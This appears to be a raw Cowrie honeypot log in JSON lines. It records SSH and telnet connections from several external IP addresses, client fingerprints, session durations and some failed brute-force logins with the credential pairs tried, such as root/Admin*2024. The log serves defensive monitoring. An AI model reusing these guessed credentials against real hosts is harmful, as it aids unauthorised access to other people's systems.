{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:55.013191Z","src_ip":"170.238.160.191","session":"93bf94a5bf30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin*2024","message":"login attempt [root/Admin*2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:55.493234Z","src_ip":"170.238.160.191","session":"93bf94a5bf30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.83640766143799,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:56.133974Z","src_ip":"152.42.224.71","session":"febdbb84ba0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:56.607064Z","src_ip":"170.238.160.191","session":"93bf94a5bf30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55492,"dst_ip":"10.17.0.5","dst_port":23,"session":"647fdf59db30","protocol":"telnet","message":"New connection: 152.42.224.71:55492 (10.17.0.5:23) [session: 647fdf59db30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:58:59.399948Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55502,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6dbb208310","protocol":"telnet","message":"New connection: 152.42.224.71:55502 (10.17.0.5:23) [session: 2c6dbb208310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:02.965892Z"}
{"eventid":"cowrie.session.closed","duration":50.326167821884155,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:04.063258Z","src_ip":"152.42.224.71","session":"b6339bca8cb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52608,"dst_ip":"10.17.0.5","dst_port":23,"session":"bba49a4a24ee","protocol":"telnet","message":"New connection: 152.42.224.71:52608 (10.17.0.5:23) [session: bba49a4a24ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:07.646993Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":33390,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffdf69585313","protocol":"ssh","message":"New connection: 167.86.95.8:33390 (10.17.0.5:22) [session: ffdf69585313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:12.159025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:12.165156Z","src_ip":"167.86.95.8","session":"ffdf69585313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:12.262791Z","src_ip":"167.86.95.8","session":"ffdf69585313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"test123","message":"login attempt [sammy/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:12.687917Z","src_ip":"167.86.95.8","session":"ffdf69585313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:13.790931Z","src_ip":"167.86.95.8","session":"ffdf69585313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.91416263580322,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:14.985130Z","src_ip":"152.42.224.71","session":"6455a371bf9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52616,"dst_ip":"10.17.0.5","dst_port":23,"session":"7296e752e547","protocol":"telnet","message":"New connection: 152.42.224.71:52616 (10.17.0.5:23) [session: 7296e752e547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:16.114159Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51540,"dst_ip":"10.17.0.5","dst_port":23,"session":"875bfc2de456","protocol":"telnet","message":"New connection: 152.42.224.71:51540 (10.17.0.5:23) [session: 875bfc2de456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:16.119003Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"483a4765ef4e","protocol":"telnet","message":"New connection: 152.42.224.71:51542 (10.17.0.5:23) [session: 483a4765ef4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:16.132057Z"}
{"eventid":"cowrie.session.closed","duration":40.19805932044983,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:16.360640Z","src_ip":"152.42.224.71","session":"e758e2248562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51544,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7bc9660ba0","protocol":"telnet","message":"New connection: 152.42.224.71:51544 (10.17.0.5:23) [session: 7d7bc9660ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:18.444845Z"}
{"eventid":"cowrie.session.closed","duration":18.16173768043518,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:21.127375Z","src_ip":"152.42.224.71","session":"2c6dbb208310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":89.39591264724731,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:22.478413Z","src_ip":"152.42.224.71","session":"95aec3cca2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51552,"dst_ip":"10.17.0.5","dst_port":23,"session":"17758c04fde5","protocol":"telnet","message":"New connection: 152.42.224.71:51552 (10.17.0.5:23) [session: 17758c04fde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:24.797329Z"}
{"eventid":"cowrie.session.closed","duration":47.990318059921265,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:25.256133Z","src_ip":"152.42.224.71","session":"09ab2a60fbf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.1144745349884,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:26.185308Z","src_ip":"152.42.224.71","session":"95c01de69c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.71393799781799,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:26.868893Z","src_ip":"152.42.224.71","session":"8ab36ec4559d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.478050470352173,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:28.922756Z","src_ip":"152.42.224.71","session":"7d7bc9660ba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54954,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e13a5e54095","protocol":"telnet","message":"New connection: 152.42.224.71:54954 (10.17.0.5:23) [session: 9e13a5e54095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:29.297955Z"}
{"eventid":"cowrie.session.closed","duration":120.00109028816223,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:34.413237Z","src_ip":"152.42.224.71","session":"ace58abe5262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38248,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd85d7c0df0","protocol":"ssh","message":"New connection: 103.176.20.57:38248 (10.17.0.5:22) [session: ebd85d7c0df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:36.104298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:36.109733Z","src_ip":"103.176.20.57","session":"ebd85d7c0df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:36.363627Z","src_ip":"103.176.20.57","session":"ebd85d7c0df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"c43qpul5rz","message":"login attempt [root/c43qpul5rz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:37.123882Z","src_ip":"103.176.20.57","session":"ebd85d7c0df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:38.378606Z","src_ip":"103.176.20.57","session":"ebd85d7c0df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.74533748626709,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:39.009072Z","src_ip":"152.42.224.71","session":"44a8f87ef13c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.97345972061157,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:46.373307Z","src_ip":"152.42.224.71","session":"647fdf59db30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.463295221328735,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:52.110193Z","src_ip":"152.42.224.71","session":"bba49a4a24ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.58.72.111","src_port":44546,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3472a8c5678","protocol":"telnet","message":"New connection: 202.58.72.111:44546 (159.203.135.109:23) [session: f3472a8c5678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:54.555808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47708,"dst_ip":"10.17.0.5","dst_port":23,"session":"644e31b3e0e0","protocol":"telnet","message":"New connection: 152.42.224.71:47708 (10.17.0.5:23) [session: 644e31b3e0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:54.762834Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9f03cca4784","protocol":"ssh","message":"New connection: 103.15.222.183:43520 (10.17.0.5:22) [session: c9f03cca4784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:56.102841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:56.107757Z","src_ip":"103.15.222.183","session":"c9f03cca4784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:56.357016Z","src_ip":"103.15.222.183","session":"c9f03cca4784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.46810054779053,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:56.587019Z","src_ip":"152.42.224.71","session":"875bfc2de456","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"solomon","message":"login attempt [root/solomon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:57.104374Z","src_ip":"103.15.222.183","session":"c9f03cca4784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56240,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f905cdc8b92","protocol":"telnet","message":"New connection: 152.42.224.71:56240 (10.17.0.5:23) [session: 0f905cdc8b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:58.286120Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:58.357861Z","src_ip":"103.15.222.183","session":"c9f03cca4784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56244,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1024fd480c2","protocol":"telnet","message":"New connection: 152.42.224.71:56244 (10.17.0.5:23) [session: c1024fd480c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:58.902443Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56260,"dst_ip":"10.17.0.5","dst_port":23,"session":"98558f9ad1d9","protocol":"telnet","message":"New connection: 152.42.224.71:56260 (10.17.0.5:23) [session: 98558f9ad1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:59:59.636378Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56274,"dst_ip":"10.17.0.5","dst_port":23,"session":"377b517901f3","protocol":"telnet","message":"New connection: 152.42.224.71:56274 (10.17.0.5:23) [session: 377b517901f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:01.623685Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56278,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59d78b851ad","protocol":"telnet","message":"New connection: 152.42.224.71:56278 (10.17.0.5:23) [session: e59d78b851ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:01.754697Z"}
{"eventid":"cowrie.session.closed","duration":4.068373918533325,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:03.704642Z","src_ip":"152.42.224.71","session":"98558f9ad1d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.364790439605713,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:03.988323Z","src_ip":"152.42.224.71","session":"377b517901f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.839088201522827,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:07.394802Z","src_ip":"202.58.72.111","session":"f3472a8c5678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59786,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bc7900a82b","protocol":"telnet","message":"New connection: 152.42.224.71:59786 (10.17.0.5:23) [session: 08bc7900a82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:16.986137Z"}
{"eventid":"cowrie.session.closed","duration":52.87709593772888,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:17.674323Z","src_ip":"152.42.224.71","session":"17758c04fde5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":30432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8138a6bd7d2","protocol":"ssh","message":"New connection: 176.65.132.5:30432 (10.17.0.5:22) [session: f8138a6bd7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:18.128141Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:18.134430Z","src_ip":"176.65.132.5","session":"f8138a6bd7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"af88e7d57cc3","protocol":"ssh","message":"New connection: 170.238.160.191:44092 (159.203.135.109:22) [session: af88e7d57cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:18.231879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:18.243003Z","src_ip":"170.238.160.191","session":"af88e7d57cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:18.362870Z","src_ip":"170.238.160.191","session":"af88e7d57cc3","protocol":"ssh"}
